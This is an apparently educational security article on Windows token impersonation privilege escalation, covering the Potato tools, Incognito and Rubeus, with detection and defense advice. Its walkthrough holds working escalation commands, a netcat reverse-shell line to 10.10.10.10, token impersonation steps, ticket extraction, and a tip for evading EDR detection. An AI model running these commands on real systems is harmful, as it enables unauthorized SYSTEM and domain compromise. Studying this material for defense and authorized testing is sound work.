Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Every process and thread on Windows carries an access token — the kernel object that records a security principal’s identity, group memberships, and privileges, and that the OS consults on every access check. Tokens are not tied to a login session the way a cookie is tied to a browser tab: a process holding the right privilege can duplicate another security context’s token and *become* that identity for the purposes of subsequent access checks, without ever knowing that user’s password or hash. That capability — impersonation — is a legitimate, necessary part of how Windows services (IIS worker processes, named-pipe servers, RPC endpoints) serve requests on behalf of connecting clients. It is also one of the most reliable local-privilege-escalation primitives on the platform when the impersonating process itself runs with more privilege than it should.
The practical result is a family of exploits — the “Potato” family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato), Incognito’s list_tokens/impersonate_token, and Rubeus’s ticket-based token operations — that convert a service account already holding SeImpersonatePrivilege (extremely common: it is enabled by default for NETWORK SERVICE, LOCAL SERVICE, and any IIS application pool identity) into full NT AUTHORITY\SYSTEM. Because these service accounts are the default execution context for huge swaths of Windows Server infrastructure, this is arguably the single most common local-privesc path on Windows Server hosts running a webshell or an RCE’d service.
Attack Prerequisites
Token theft and impersonation attacks need code execution as a principal that already holds one of a small set of privileges, or standing local admin rights to read other sessions’ tokens outright:
SeImpersonatePrivilegeorSeAssignPrimaryTokenPrivilegeenabled on the current token — the default forNT AUTHORITY\SYSTEM,NETWORK SERVICE,LOCAL SERVICE, and IISAPPPOOL\*virtual accounts.- Local Administrator or
SeDebugPrivilege— needed for classic Incognito/Meterpreter-style enumeration and duplication of *other* logon sessions’ tokens, not just the current process’s own privilege. - A local RPC/COM or named-pipe activation path reachable from the current context — the Potato family needs to coerce a SYSTEM-owned service (the print spooler, BITS, DCOM activator) to authenticate to a listener the attacker controls, so the attacker can capture and duplicate the resulting SYSTEM token.
- Cached or delegable credentials on the host — interactive or
RunAs/NewCredentialslogons leave impersonation-level tokens resident that can be reused for lateral movement without ever touching a password.
How It Works
Windows tokens exist at four impersonation levels — Anonymous, Identification, Impersonation, and Delegation — that govern how far a server can *act as* the client that connected to it. A service holding SeImpersonatePrivilege can call ImpersonateLoggedOnUser or DuplicateToken(Ex) on any token presented to it up to Impersonation level and use it for local access checks; SeAssignPrimaryTokenPrivilege additionally allows spawning an entirely new process under that duplicated identity via CreateProcessAsUser. Neither privilege requires the caller to know the target’s credentials — only to be handed (or to obtain) a token belonging to that identity.
The Potato exploits weaponize this by abusing NT AUTHORITY\SYSTEM services that will authenticate to an attacker-chosen endpoint. A SYSTEM-level COM server, the print spooler’s RpcRemoteFindFirstPrinterChangeNotificationEx call, or the BITS service can be coerced into connecting to a local named pipe or RPC endpoint the low-privileged process controls; that connection carries a SYSTEM token with Impersonation-level rights, which the attacker’s process — because it holds SeImpersonatePrivilege — can immediately duplicate and use to launch a new process as SYSTEM. No credential material changes hands; the attacker simply captures and reuses a token SYSTEM handed over voluntarily as part of a normal RPC handshake.
Separately, incognito (built into Meterpreter and available standalone) and Rubeus operate on tokens already resident on the box rather than coercing new ones. On a host administrators have RDP’d or RunAs‘d into, Windows caches those sessions’ tokens; with local admin/SeDebugPrivilege, an attacker can enumerate every token currently held by any process (list_tokens) and impersonate a domain admin’s cached delegation token directly (impersonate_token) — turning a single interactive admin logon on a shared jump box into a path to domain compromise with no password or hash ever touched.
Vulnerable Code / Configuration
The configuration that enables the entire Potato family is simply the default privilege set on a service account — visible directly with whoami /priv from a webshell or RCE’d service process:
C:\inetpub\wwwroot> whoami /all
USER INFORMATION
----------------
User Name SID
=================== =============
iis apppool\defaultapppool S-1-5-82-...
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled <-- the bug
SeChangeNotifyPrivilege Bypass traverse checking Enabled
Any code-execution primitive against this app pool — a file-upload RCE, a deserialization bug, a webshell — inherits SeImpersonatePrivilege for free, because IIS application pool identities and the built-in service accounts (NETWORK SERVICE, LOCAL SERVICE) are granted it by default in the local security policy (Ntrights/GptTmpl.inf SeImpersonatePrivilege = *S-1-5-19,*S-1-5-20,*S-1-5-6,...). This is standard, unmodified Windows configuration — the vulnerability is running *attacker-reachable* code under an identity that carries it, not a misconfiguration of the privilege itself.
; excerpt from the local security policy default assignment
[Privilege Rights]
SeImpersonatePrivilege = *S-1-5-19,*S-1-5-20,*S-1-5-6,*S-1-5-32-544
; S-1-5-19 = LOCAL SERVICE, S-1-5-20 = NETWORK SERVICE,
; S-1-5-6 = SERVICE (any service account), S-1-5-32-544 = Administrators
Walkthrough / Exploitation
From a shell running as a service account, confirm the privilege is present and enabled, then pick a Potato variant matched to the OS build (the coercion technique and required patch level differ across JuicyPotato/RoguePotato/PrintSpoofer/GodPotato):
whoami /priv | findstr /i Impersonate
PrintSpoofer64.exe -i -c "cmd /c whoami"
# alt (patched print spooler / restricted environments):
GodPotato-NET4.exe -cmd "cmd /c whoami"
Once the coercion succeeds, spawn an interactive or reverse shell as SYSTEM directly through the same tool:
PrintSpoofer64.exe -i -c "cmd /c C:\Windows\Temp\nc64.exe -e cmd 10.10.10.10 4444"
On a host with existing cached admin sessions (post-exploitation, Meterpreter/Incognito), enumerate and impersonate resident tokens instead of coercing a new one:
meterpreter > getuid
meterpreter > load incognito
meterpreter > list_tokens -u
Delegation Tokens Available
========================================
CORP\Administrator
NT AUTHORITY\SYSTEM
meterpreter > impersonate_token "CORP\\Administrator"
meterpreter > getuid
Server username: CORP\Administrator
Rubeus can extract and reuse the impersonated user’s Kerberos material directly once the token is assumed, extending local impersonation into a domain-usable TGT:
Rubeus.exe tgtdeleg /nowrap
# yields a base64 TGT for the impersonated principal, usable for
# pass-the-ticket without ever touching lsass.exe directly
Note: Which Potato variant works depends on the patch level: classic JuicyPotato relies on a fixed CLSID/COM activation path Microsoft has since restricted on modern builds; RoguePotato and PrintSpoofer route around those restrictions via a relayed OXID resolver or the print spooler respectively; GodPotato targets current Server builds. Always confirm OS build and spooler service status before picking a tool.
Opsec: Potato-family exploits spawn a child process from a spooler- or DCOM-related parent (
spoolsv.exe,svchost.exehosting DCOM), which is a well-known EDR parent/child anomaly signature. Where stealth matters, prefer reusing an already-resident SYSTEM/admin token via Incognito over triggering a fresh coercion, since it generates no new spooler/RPC activity.
Detection and Defense
Because impersonation abuse rides on privileges that are Windows defaults, defense focuses on constraining where those privileges are attacker-reachable and detecting the resulting process lineage:
- Patch and disable unneeded coercion surfaces — disable the Print Spooler service on servers that do not need it; it is the most common coercion vector for the current Potato variants.
- Run services with the least privilege they need — where a service genuinely does not require impersonation, strip
SeImpersonatePrivilegevia a custom service account and local security policy rather than relying on the broad default grant. - Enable Credential Guard / Protected Process Light where compatible to raise the bar on token/credential extraction from LSASS.
- Monitor for the process-lineage signature —
spoolsv.exeor DCOM service hosts spawningcmd.exe/powershell.exe, or any IIS app-pool worker process spawning an unrelated child process, is a strong anomaly worth alerting on (Sysmon Event ID 1, ParentImage anomalies). - Watch for Event ID 4672 (special privileges assigned to new logon) correlated with a service account, and Event ID 4624 logon type 9 (NewCredentials), both of which accompany impersonation and RunAs-style token duplication.
- Limit interactive/RDP logons by privileged accounts to dedicated, hardened admin workstations so their tokens are never resident on general-purpose or internet-facing hosts.
Real-World Impact
The Potato family has been the default local-privesc step in countless IIS, MSSQL, and Windows-service RCE chains for years precisely because the underlying privilege grant (SeImpersonatePrivilege on service accounts) is standard Windows behavior rather than a specific misconfiguration — Microsoft has repeatedly restricted individual coercion techniques (breaking classic JuicyPotato on newer builds) without removing the privilege itself, which is why the tool family keeps iterating (RoguePotato, PrintSpoofer, GodPotato). It remains a near-automatic step in OSCP-style Windows Server boxes and real assessments landing a webshell on IIS.
Conclusion
Tokens are portable identity, and any process that can be handed or coerce a more-privileged token — via SeImpersonatePrivilege, cached admin sessions, or delegable Kerberos tickets — can act as that identity without ever touching a password. Because the enabling privileges are default Windows configuration, defense has to focus on reducing coercion surface (spooler, DCOM), constraining where privileged sessions land, and detecting the process-lineage and logon-event patterns these techniques leave behind.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:
Comments